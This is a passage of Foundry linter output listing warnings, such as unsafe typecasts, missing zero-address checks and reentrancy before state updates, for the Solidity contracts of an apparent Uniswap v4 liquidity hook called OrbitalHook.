━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:58:23\n   │\n58 │     function setRvmId(address _rvmId) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n   ╭▸ src/reactive/OrbitalDepegCallback.sol:77:23\n   │\n77 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n   │                       ━━━━━━━━━━━━━━━━━━\n   │\n   ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n   ╭▸ src/reactive/OrbitalDepegReactive.sol:94:24\n   │\n94 │         int256 price = int256(log.topic_1);\n   │                        ━━━━━━━━━━━━━━━━━━━\n   │\n   ├ note: consider disabling this lint if you're certain the cast is safe\n   │       \n   │       // casting to 'int256' is safe because [explain why]\n   │       // forge-lint: disable-next-line(unsafe-typecast)\n   │       \n   │       \n   ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/reactive/OrbitalDepegReactive.sol:131:23\n    │\n131 │     function withdraw(address payable to, uint256 amount) external onlyOwner {\n    │                       ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:20\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:49\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                 ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:133:64\n    │\n133 │         int256 a = int256(alpha(s, sqrtNWad)) - int256(c.kb) - int256(c.r * sqrtNWad / WAD);\n    │                                                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:134:20\n    │\n134 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                    ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:134:45\n    │\n134 │         int256 b = int256(wNorm(s, q, n)) - int256(c.sb);\n    │                                             ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:135:32\n    │\n135 │         return a * a + b * b - int256(c.r * c.r);\n    │                                ━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:17\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                 ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:46\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                              ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:62\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                              ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:140:76\n    │\n140 │         return (int256(alpha(s, sqrtNWad)) - int256(c.kb)) * int256(WAD) / int256(c.r);\n    │                                                                            ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:196:29\n    │\n196 │             if (hi > maxIn) revert InsufficientLiquidity();\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:210:25\n    │\n210 │         int256 cShift = int256(sT) - int256(p.s);\n    │                         ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:210:38\n    │\n210 │         int256 cShift = int256(sT) - int256(p.s);\n    │                                      ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:211:20\n    │\n211 │         int256 a = int256(p.xi);\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:212:20\n    │\n212 │         int256 b = int256(p.xj) + cShift;\n    │                    ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:214:21\n    │\n214 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                     ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:214:34\n    │\n214 │         int256 cq = int256(qT) - int256(p.q - p.xi * p.xi - p.xj * p.xj);\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:217:23\n    │\n217 │         int256 root = int256(sqrt(uint256(disc)));\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:217:35\n    │\n217 │         int256 root = int256(sqrt(uint256(disc)));\n    │                                   ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:223:13\n    │\n223 │         t = uint256(chosen);\n    │             ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/libraries/OrbitalMath.sol:224:16\n    │\n224 │         dOut = uint256(chosen - cShift);\n    │                ━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[missing-events-access-control]: `owner` is changed without an event but is used for access control\n    ╭▸ src/OrbitalHook.sol:498:9\n    │\n498 │         owner = newOwner;\n    │         ━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-events-access-control\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/OrbitalHook.sol:167:9\n    │\n167 │         address _guardian,\n    │         ━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:188:56\n    │\n188 │             if (t == address(0) || tokenIndex[t] != 0) revert InvalidTokens();\n    │                                                        ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:190:27\n    │\n190 │             if (dec > 18) revert InvalidTokens();\n    │                           ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:203:53\n    │\n203 │             if (k <= kMin || k > kMax || k <= prev) revert InvalidLevels();\n    │                                                     ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:100:32\n    │\n100 │         if (kNorm >= sqrtNWad) revert MathOverflow();\n    │                                ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/libraries/OrbitalMath.sol:103:23\n    │\n103 │         if (d2 > WAD) revert MathOverflow();\n    │                       ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:247:56\n    │\n247 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                        ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:247:77\n    │\n247 │             pools[id] = PoolMeta({orbital: true, idx0: uint8(i0 - 1), idx1: uint8(i1 - 1)});\n    │                                                                             ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:248:44\n    │\n248 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                            ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:248:59\n    │\n248 │             emit OrbitalPoolRegistered(id, uint8(i0 - 1), uint8(i1 - 1));\n    │                                                           ━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint8' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:279:23\n    │\n279 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                       ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:279:58\n    │\n279 │             exactIn ? uint256(-params.amountSpecified) : uint256(params.amountSpecified)\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:33\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                 ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:40\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                        ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:58\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                          ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:289:65\n    │\n289 │             ? toBeforeSwapDelta(int128(uint128(rawIn)), -int128(uint128(rawOut)))\n    │                                                                 ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:34\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                  ━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:41\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                         ━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:59\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                           ━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'int128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:290:66\n    │\n290 │             : toBeforeSwapDelta(-int128(uint128(rawOut)), int128(uint128(rawIn)));\n    │                                                                  ━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:311:30\n    │\n311 │             x[j] += wadOut - rawOut * _scale[j]; // rounding dust stays in the pool\n    │                              ━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[divide-before-multiply]: division before multiplication may lose precision\n    ╭▸ src/OrbitalHook.sol:326:42\n    │\n326 │         if (feeWad > 0) _feeGrowth[i] += feeWad * WAD / totalRadius;\n    │                                          ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/divide-before-multiply\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:21\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:29\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                             ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:68\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                    ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/OrbitalHook.sol:321:76\n    │\n321 │         if (rawIn > uint256(uint128(type(int128).max)) || rawOut > uint256(uint128(type(int128).max))) {\n    │                                                                            ━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[reentrancy-no-eth]: external call can be reentered before `boundaryMask` is updated\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:369:9\n    │\n369 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:370:9\n    │\n370 │         emit Deposit(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:355:38\n    │\n355 │             if (raw > maxAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:369:9\n    │\n369 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Deposit, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `positions` is updated\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:409:9\n    │\n409 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/OrbitalHook.sol:410:9\n    │\n410 │         emit Withdraw(msg.sender, levelId, radius, amounts);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/OrbitalHook.sol:398:38\n    │\n398 │             if (raw < minAmounts[k]) revert SlippageExceeded();\n    │                                      ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/OrbitalHook.sol:409:9\n    │\n409 │         poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: msg.sender, amounts: amounts})));\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[reentrancy-no-eth]: external call can be reentered before `_entered` is updated\n    ╭▸ src/OrbitalHook.sol:435:13\n    │\n435 │             poolManager.unlock(abi.encode(CallbackData({action: Action.Withdraw, account: lp, amounts: amounts})));\n    │             ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-no-eth\n\nwarning[uninitialized-local]: local variable is read before being initialized\n    ╭▸ src/OrbitalHook.sol:434:13\n    │\n434 │         if (any) {\n    │             ━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/uninitialized-local\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    